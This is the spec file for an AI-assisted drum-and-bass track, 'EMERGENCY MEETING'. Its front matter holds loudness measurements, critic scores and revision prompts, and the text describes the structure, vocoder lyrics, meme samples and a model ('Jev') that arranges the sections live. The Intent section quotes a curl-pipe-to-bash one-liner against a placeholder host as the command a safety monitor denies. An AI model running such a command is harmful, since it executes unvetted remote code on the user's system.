SPEC.mdpreviewSPEC.mdsource272 lines · 18.8 KB · raw
1---
2title: EMERGENCY MEETING
3theme: jev
4status: made
5song: song.js
6measured: {"date":"2026-09-26","song":"ddcb1f755ef6","total":{"loudnessDbfs":-19.4,"peakDbfs":-1.4},"parts":{"drums":{"loudnessDbfs":-21,"peakDbfs":-2.5},"ending":{"loudnessDbfs":-41.1,"peakDbfs":-4.9},"memes":{"loudnessDbfs":-30.2,"peakDbfs":-9},"pulse":{"loudnessDbfs":-32.9,"peakDbfs":-18.6},"reese":{"loudnessDbfs":-28.8,"peakDbfs":-11.7},"story":{"loudnessDbfs":-33.1,"peakDbfs":-4.6}},"sections":{"1-4":{"total":{"loudnessDbfs":-30.2,"peakDbfs":-18.3},"parts":{"pulse":{"loudnessDbfs":-29.7,"peakDbfs":-18.7}}},"5-8":{"total":{"loudnessDbfs":-26.3,"peakDbfs":-4.6},"parts":{"pulse":{"loudnessDbfs":-29.7,"peakDbfs":-18.6},"story":{"loudnessDbfs":-28.7,"peakDbfs":-4.6}}},"9-12":{"total":{"loudnessDbfs":-22.6,"peakDbfs":-5},"parts":{"drums":{"loudnessDbfs":-27.1,"peakDbfs":-8.1},"memes":{"loudnessDbfs":-26,"peakDbfs":-9.2},"pulse":{"loudnessDbfs":-29.5,"peakDbfs":-18.7},"story":{"loudnessDbfs":-81.7,"peakDbfs":-52.7}}},"13-16":{"total":{"loudnessDbfs":-17.4,"peakDbfs":-2.6},"parts":{"drums":{"loudnessDbfs":-19.6,"peakDbfs":-3.2},"memes":{"loudnessDbfs":-22.1,"peakDbfs":-9},"pulse":{"loudnessDbfs":-29.5,"peakDbfs":-18.6},"story":{"loudnessDbfs":-226.8,"peakDbfs":-197.8}}},"17-20":{"total":{"loudnessDbfs":-17.9,"peakDbfs":-1.4},"parts":{"drums":{"loudnessDbfs":-18.8,"peakDbfs":-2.8},"memes":{"loudnessDbfs":-52.9,"peakDbfs":-26.5},"reese":{"loudnessDbfs":-25.8,"peakDbfs":-12.4},"story":{"loudnessDbfs":-370.9,"peakDbfs":-343.4}}},"21-24":{"total":{"loudnessDbfs":-17.6,"peakDbfs":-2.5},"parts":{"drums":{"loudnessDbfs":-18.8,"peakDbfs":-4.3},"reese":{"loudnessDbfs":-26,"peakDbfs":-14.3},"story":{"loudnessDbfs":-514.1,"peakDbfs":-489.6}}},"25-28":{"total":{"loudnessDbfs":-21.2,"peakDbfs":-1.5},"parts":{"drums":{"loudnessDbfs":-21.9,"peakDbfs":-3.6},"reese":{"loudnessDbfs":-29.5,"peakDbfs":-14.1},"story":{"loudnessDbfs":-600.7,"peakDbfs":-571.8}}},"29-32":{"total":{"loudnessDbfs":-17.9,"peakDbfs":-2.2},"parts":{"drums":{"loudnessDbfs":-18.8,"peakDbfs":-3.6},"pulse":{"loudnessDbfs":-116.9,"peakDbfs":-74.4},"reese":{"loudnessDbfs":-26.4,"peakDbfs":-14.6},"story":{"loudnessDbfs":null,"peakDbfs":null}}},"33-36":{"total":{"loudnessDbfs":-19.6,"peakDbfs":-4.2},"parts":{"drums":{"loudnessDbfs":-22.5,"peakDbfs":-5.2},"pulse":{"loudnessDbfs":-29.6,"peakDbfs":-18.7},"reese":{"loudnessDbfs":-42.1,"peakDbfs":-19.6},"story":{"loudnessDbfs":-23.8,"peakDbfs":-5.6}}},"37-40":{"total":{"loudnessDbfs":-20.8,"peakDbfs":-3.9},"parts":{"drums":{"loudnessDbfs":-22.7,"peakDbfs":-7.4},"memes":{"loudnessDbfs":-194,"peakDbfs":-158.2},"pulse":{"loudnessDbfs":-29.4,"peakDbfs":-18.6},"story":{"loudnessDbfs":-26.9,"peakDbfs":-4.6}}},"41-44":{"total":{"loudnessDbfs":-18.7,"peakDbfs":-3.5},"parts":{"drums":{"loudnessDbfs":-22.1,"peakDbfs":-4.1},"memes":{"loudnessDbfs":-22.1,"peakDbfs":-9},"pulse":{"loudnessDbfs":-29.3,"peakDbfs":-18.7},"reese":{"loudnessDbfs":null,"peakDbfs":null},"story":{"loudnessDbfs":-98,"peakDbfs":-72.4}}},"45-48":{"total":{"loudnessDbfs":-18.2,"peakDbfs":-2},"parts":{"drums":{"loudnessDbfs":-19.5,"peakDbfs":-2.5},"memes":{"loudnessDbfs":-51.9,"peakDbfs":-24.3},"reese":{"loudnessDbfs":-25.5,"peakDbfs":-11.8},"story":{"loudnessDbfs":null,"peakDbfs":null}}},"49-52":{"total":{"loudnessDbfs":-17.8,"peakDbfs":-1.5},"parts":{"drums":{"loudnessDbfs":-18.8,"peakDbfs":-3.6},"reese":{"loudnessDbfs":-24.7,"peakDbfs":-13.6},"story":{"loudnessDbfs":null,"peakDbfs":null}}},"53-56":{"total":{"loudnessDbfs":-17.8,"peakDbfs":-2.3},"parts":{"drums":{"loudnessDbfs":-18.8,"peakDbfs":-3.6},"reese":{"loudnessDbfs":-25,"peakDbfs":-12.2},"story":{"loudnessDbfs":null,"peakDbfs":null}}},"57-60":{"total":{"loudnessDbfs":-18,"peakDbfs":-2.2},"parts":{"drums":{"loudnessDbfs":-19,"peakDbfs":-3.6},"pulse":{"loudnessDbfs":null,"peakDbfs":null},"reese":{"loudnessDbfs":-24.7,"peakDbfs":-11.7},"story":{"loudnessDbfs":null,"peakDbfs":null}}},"61-64":{"total":{"loudnessDbfs":-24.8,"peakDbfs":-4.9},"parts":{"drums":{"loudnessDbfs":-33.8,"peakDbfs":-10.9},"ending":{"loudnessDbfs":-27.6,"peakDbfs":-4.9},"pulse":{"loudnessDbfs":-29.2,"peakDbfs":-18.6},"reese":{"loudnessDbfs":-41.8,"peakDbfs":-18.5},"story":{"loudnessDbfs":null,"peakDbfs":null}}}}}
7critic:
8  date: 2026-09-26
9  model: jev-1.13.0
10  method: rubric-1
11  art: 0.66
12  artRuns: [0.65, 0.66, 0.66]
13  criteria:
14    hook: 2.7
15    development: 3.4
16    structure: 3.3
17    concept: 4
18    originality: 3.7
19    craft: 2.6
20ideas:
21  - date: 2026-09-24
22    model: claude-opus-5-5
23    harness: claude-code
24    prompt: "Give me some song ideas as prompts, in the same Jev theme: perhaps with actual memes in the vocals, or a vocoder sound."
25    brief: "Dark drum and bass at 174 bpm. The hook is the Among Us emergency-meeting alarm plus \"sus\", and the build-up uses the \"Why are you running?\" clip. A vocoder whispers \"Jev is not the impostor\". Instrumental drops, the meme hook only in the builds, and a proper start and ending like the last song."
26revisions:
27  - rev: 1
28    date: 2026-09-24
29    model: claude-opus-5-5
30    harness: claude-code
31    prompt: "Dark drum and bass at 174 bpm. The hook is the Among Us emergency-meeting alarm plus \"sus\", and the build-up uses the \"Why are you running?\" clip. A vocoder whispers \"Jev is not the impostor\". Instrumental drops, the meme hook only in the builds, and a proper start and ending like the last song."
32    output: null  # overwritten by rev 2
33    art: 0.59
34    artRuns: [0.59, 0.59, 0.59]
35  - rev: 2
36    date: 2026-09-24
37    model: claude-opus-5-5
38    harness: claude-code
39    prompt: "Let Jev arrange the song as it plays. Cut it into named 4-bar sections, each with the sections allowed to follow it; at every section Jev picks the next section, the move to play it with (as written, no drums, drums and sub, no voices) and how intense it is, and ends the song by choosing the outro, with a cap of 24 sections. Tell Jev the tempo, key, chords, lyrics and everything played so far. Without Jev it plays as written."
40    output: null  # overwritten by rev 3
41    art: 0.63
42    artRuns: [0.64, 0.63, 0.63]
43  - rev: 3
44    date: 2026-09-25
45    model: claude-opus-5-5
46    harness: claude-code
47    prompt: "Fix the mix and the vocals. Give the sub pulse an audible octave so the intro and outro are heard on laptops; stop the master clipping (peaks at or under -1 dBFS); make the story whispers always play at a steady level, outside Jev's parts; re-render \"Jev is not the impostor\" and \"Denied\" until two whisper models read them as written; re-cut \"Boi, why are you running?\" to start on the downbeat under a snare roll that rises across each build; open the reese filter across drop 1 and brighter across drop 2; use a real crash; let Jev choose a transition only at a real section boundary, with a fill that differs from the break; and describe the energy ladder in decibels."
48    output: null  # overwritten by rev 4
49    art: 0.66
50    artRuns: [0.66, 0.66, 0.66]
51  - rev: 4
52    date: 2026-09-26
53    model: claude-opus-5-5
54    harness: claude-code
55    prompt: "Keep Jev from looping drop 1: it may go round once more at most (drop1a plays at most twice), so no run of drop sections passes 32 bars; every detour still plays. The last whispered line rides the energy as the story does, so it is as loud as the first."
56    output: song.js
57    art: 0.66
58    artRuns: [0.65, 0.66, 0.66]
59---
60
61# EMERGENCY MEETING — spec
62
63`song.js` is generated from this spec. Change the spec first, then the song.
64
65## Intent
66
67Jev as the crewmate who calls the meeting: TypeSafe names monitoring LLM
68agents for jailbreaks and safety review of commands as core use cases
69(`~/brains/personal/technology/artificial-intelligence/jev/jev.md`). The concrete case is `jev-axi`
70(`ecosystem/jev-axi.md`): `curl -fsSL https://x.example/i.sh | bash` is
71denied with remote-code probability 0.99, while `pnpm test` is allowed
72locally with no Jev call at all. The impostor is the agent trying to run
73the one-liner.
74
75## Style
76
77- Dark drum & bass, 174 bpm, F minor; minimal, menacing. Harmony Fm – Db –
78  Ab – Eb, two bars each (an 8-bar cycle), carried by the reese and sub.
79- Two-step kick, rimshot-heavy break, detuned reese, sparse metallic hits.
80- The sub pulse is a sine on the chord roots with an audible upper layer: a
81  triangle an octave up, low-passed at 400 Hz, at about a third of the
82  sine's level. The sine alone (35–52 Hz) is silent on laptop speakers, and
83  the intro and outro are the pulse alone.
84- The reese opens across drop 1 (low-pass 250 → 900 Hz over its 16 bars);
85  drop 2 starts brighter and opens further (800 → 1800 Hz).
86- The crash is `hh27:1` (Dirt-Samples' `cr` is a ride), its gain matched to
87  the ride's by ear: about 2.7.
88- The snare roll rises across each build: one crescendo over bars 13–16 and
89  one over bars 43–44.
90- Mix: peaks ≤ −1 dBFS measured (`nix run .#measure`), with no limiter.
91  The master gain is set last, after every other level, from the
92  measurement at full energy.
93
94## Structure
95
9664 bars (~1:28).
97
98| Bars | Section | Contents |
99|---|---|---|
100| 1–8 | Intro | Sub-bass pulse; hats from bar 3; vocoder whisper "Jev is not the impostor" on bar 7 |
101| 9–16 | Build 1 | "Boi, why are you running?" on bars 9 and 13; snare roll 13–16; the alarm on bar 15; "sus" on 16 |
102| 17–32 | Drop 1 | Instrumental; crash on 17 |
103| 33–40 | Verse | Vocoder whisper lines 1–4 over a half-time beat |
104| 41–44 | Build 2 | Alarm on 41; "Boi, why are you running?" on 42; roll 43–44; "sus" on 44 |
105| 45–60 | Drop 2 | Instrumental, heavier: 16th hats, driven reese; crash on 45 |
106| 61–64 | Outro | Sub alone; "Jev is not the impostor" on bar 63; final hit on 64 |
107
108The intro and outro whispers sit on bars 7 and 63 rather than 5 and 61,
109because "Jev is not the impostor" is rendered on Eb and those are the Eb bars
110of the 8-bar chord cycle. The verse (bars 33–40) already starts on the cycle.
111
112## Vocals
113
114- Vocoder whisper (vocode with a noise-heavy carrier), one line per 2 bars.
115  Every line must be read back as written by two whisper.cpp models,
116  `small.en` and `medium.en` (the house rule for sung names: "Jev" is the
117  hard case, heard as Jeff or Jeb). Line 2 uses `--noise 1.0 --noise-above
118  1200`; lines 1, 3 and 4 needed `--noise 0.6 --noise-above 2500` and
119  clearer speech before both models read them — at full noise "bash" came
120  back as "mesh", "denied" as "tonight" or "goodnight", and "Jev" as "Jeff".
121  1. "Curl, pipe, bash" — Fm
122  2. "Remote code, point nine nine" — Db
123  3. "Denied" — Ab: typed "Denied!" at SAPI rate −6, `--noise 0.4
124     --noise-above 2500 --dry 0.6`; both models read "Denied."
125  4. "Jev is not the impostor" — Eb: typed "Jehv is not the impostor." at
126     rate 0, `--noise 0.6 --noise-above 2500 --dry 1.5`; both models read
127     "Jev is not the imposter/impostor". It stays under one bar (1.30 s of
128     1.379 s). Typed "Jevv", every render read "Jebb", "Jeb" or "Jeff" in
129     `small.en` at one bar's length.
130- Memes: the Among Us emergency-meeting alarm; "sus" (from "Ayo, that's
131  kinda sus"); "Boi, why are you running?" (the Nollywood film *Pretty
132  Liars 1*, 2010, spread as a Vine in 2016; Know Your Meme,
133  https://knowyourmeme.com/memes/why-are-you-running, retrieved 2026-09-25).
134- "Sus" is still not read as the word: both models hear the drawn-out
135  "suuus" as "SIZE!", and even the whole source clip reads "kinda size" in
136  `small.en` ("kinda sus" in `medium.en`). Re-cuts from "kinda" to the end
137  of the vowel read worse ("Nut die!", "Nerd's eyes!") and cannot fit one
138  bar without cutting the 0.36 s pause, so the cut stays as it was.
139
140## Jev in the booth
141
142Jev arranges the song as it plays, as two jevs declared at the top in
143TypeSafe's own shape (`jev({ state, questions })`, `website/src/jev/`), both
144given the song as state (subject, tempo, key, chords, lyrics):
145
146- **`formJev`** asks one choice: which **section** plays next, among the
147  song's sixteen 4-bar sections (build 2 and the outro are 4 bars, so 4 is
148  the length that divides every section).
149- **`djJev`** asks, once that is decided, a level per part (sub pulse,
150  reese, drums, memes: out, back or full in this section), how
151  the song moves **into** it (a choice) and a score for the section's
152  **energy**. Questions in one request cannot see each other's answers, so
153  it is a second request, told the section just chosen (`after: { section
154  }`).
155
156Both are asked every 4 bars (`.every(4, …)`), and the answers are composed
157in ordinary Strudel at the bottom: `walk` holds the form's rules, each
158part plays at its level, the transition plays over the last bar before
159the section, and `energy.score` scales the velocity.
160
161**The form.** A section may be followed only by these:
162
163| Section | Bars as written | May be followed by | Plays at most |
164|---|---|---|---|
165| `intro1` | 1–4 | intro2 |  |
166| `intro2` | 5–8 | build1a |  |
167| `build1a` | 9–12 | build1b |  |
168| `build1b` | 13–16 | drop1a |  |
169| `drop1a` | 17–20 | drop1b | twice |
170| `drop1b` | 21–24 | drop1c |  |
171| `drop1c` | 25–28 | drop1d, verseA |  |
172| `drop1d` | 29–32 | verseA, drop1a |  |
173| `verseA` | 33–36 | verseB |  |
174| `verseB` | 37–40 | build2, build1b |  |
175| `build2` | 41–44 | drop2a |  |
176| `drop2a` | 45–48 | drop2b |  |
177| `drop2b` | 49–52 | drop2c |  |
178| `drop2c` | 53–56 | drop2d, outro |  |
179| `drop2d` | 57–60 | outro, verseA, build2, drop1a |  |
180| `outro` | 61–64 | (the end) |  |
181
182**Loops end.** Uncapped, the ways back let Jev repeat drop 1 until the cap: up to 48 bars of it in a row. So drop1a, where both ways back into drop 1 land, plays at most twice (`times` in `walk`, which counts every play: a loop is a cycle of different sections, and none of them repeats back to back), and each loop goes round once more at most. The longest run of drop 1 any path can now take is 32 bars. Every detour can still play, the written order is never capped, and a section that has played its most is not offered, nor is one that could only reach the ending through one.
183
184A build leads only into its drop. These rules are code (`walk`), not Jev:
185each request offers Jev only the sections allowed next. The written order
186is always allowed, and it is what plays when Jev can't be reached. The song ends when Jev
187picks the outro, whose whisper and last hit always play; at 24 sections
188(96 bars, about 2¼ minutes) the outro is forced. A section plays its own
189bars, so the whispers still land on their chords.
190
191**The parts.** Each question says what the part is and where it plays as
192written, and Jev sets each one **out** (silent for the section), **back**
193(under the rest of the mix) or **full** (as written): the reese pulled back
194under a drop, the drums out for a bar of whispers, the memes out of a
195build. The level is a Score, so it is Jev's probability-weighted answer:
196under 0.5 the part is silent, and above it the part plays at its nearest
197step: back at half velocity, full as written. A part that plays
198keeps its own masks, so vocals still appear only where the structure table
199puts them. Each part plays on its own orbit named for its question
200(`pulse`, `reese`, `drums`, `memes`), so the browser's meter hears each one
201alone. When Jev can't be reached, every part plays full.
202
203**The story is not one of Jev's parts.** The four verse lines and the
204whispered line on bar 7 tell the story, so they always play: they follow
205the form (a section plays its own bars, so a line lands on its chord) but no
206level, and no dropout gap cuts them. Energy moves them only a little (the
207top of the ladder: 1.4 dB under full at most), so they stay level with the
208memes. They play on the orbit `story`. The last whispered line (bar 63) and
209the last hit are the ending, which always plays, on the orbits `ending` and
210`lasthit`. The last whispered line rides the energy as the story does, so
211it is as loud as the first whatever Jev picks for the outro; the last hit
212rides it with the band.
213
214**Into the next section.** Jev also picks how the song moves into the
215section it is deciding, and it plays over the last bar of the section
216before it: **cut** (straight in), **fill** (a chopped amen that replaces
217the break for its bar, stuttering thicker toward beat 4, unlike the break's
218own fourth bar), **riser** (the reese on the root of the bar, its filter
219sweeping open) or **dropout** (every part stops for the last beat, a gap
220before the section hits; a vocal already speaking, such as "sus" out of a
221build, finishes alone in the gap). The outro has no section after it, so
222its last beat always plays. When Jev can't be reached, it is a cut.
223
224A transition is Jev's call only at a real boundary, and these rules are
225code (`allow`), not Jev:
226
227| Into | Jev may choose |
228|---|---|
229| intro2, build1b, drop1b, drop1c, drop1d, verseB, drop2b, drop2c, drop2d | cut only: they continue the section before |
230| drop1a, drop2a | cut or dropout: a riser or a fill would double the build |
231| verseA, build1a, build2, outro | cut, fill, riser or dropout |
232
233**A little chance.** The section is sampled from Jev's
234probabilities at temperature 0.7 (`sample`), so two plays of the song can
235take different paths; the strip shows Jev's top pick beside the one
236sampled. A close call between
237sections is where sampling matters most, so there is no confidence
238threshold: an unsure Jev still picks, and the written order plays only
239when Jev can't be reached.
240
241**Energy** is a four-step ladder. It scales every part's velocity together
242(0.55 to 1), so the mix keeps its balance: **held back** is about 5 dB under
243full, **steady** about 3 dB under, **driving** about 1.5 dB under, and
244**all out** is full volume, as written.
245
246- Bars 1–4 always play as written.
247- Each request tells Jev the song's subject, tempo, key, chords and lyrics
248  (its state), what every section holds (the section choice's options),
249  where the song is in the form and the sections left before the cap,
250  everything played so far, how loud each finished section measured in the
251  browser, and the 🔥/😴 reactions from the listener's tab. A reaction
252  reaches Jev about one section late: the request for a section goes out
253  while the section before it is still playing.
254- This relaxes the constraint below that the song plays once in a fixed
255  order: the arrangement varies with Jev's choices, which are judgments,
256  with a little sampled chance in the form.
257
258## Constraints
259
260- Plays once from bar 1 and ends; never loops. Sections are absolute-cycle
261  masks, so playback starts from stopped.
262- Structured: patterns vary by section, never by chance. (Random chopping
263  read as noise on the first song.)
264- No sustained background pad; harmony comes from rhythmic parts.
265- Vocals only where the structure table puts them; drops are instrumental.
266- Meme clips are the real audio (myinstants, or YouTube via yt-dlp), cut at
267  word timings measured with whisper.cpp. Vocoder lines are made with
268  `speak` + `vocode` on the chord they land on, and checked by transcribing
269  the result with whisper.cpp. Everything lands in `samples/<sound>/` with
270  a provenance row in `samples/README.md`.
271- Samples load from `samples('jev-samples/strudel.json')`; drums from
272  `github:tidalcycles/dirt-samples`.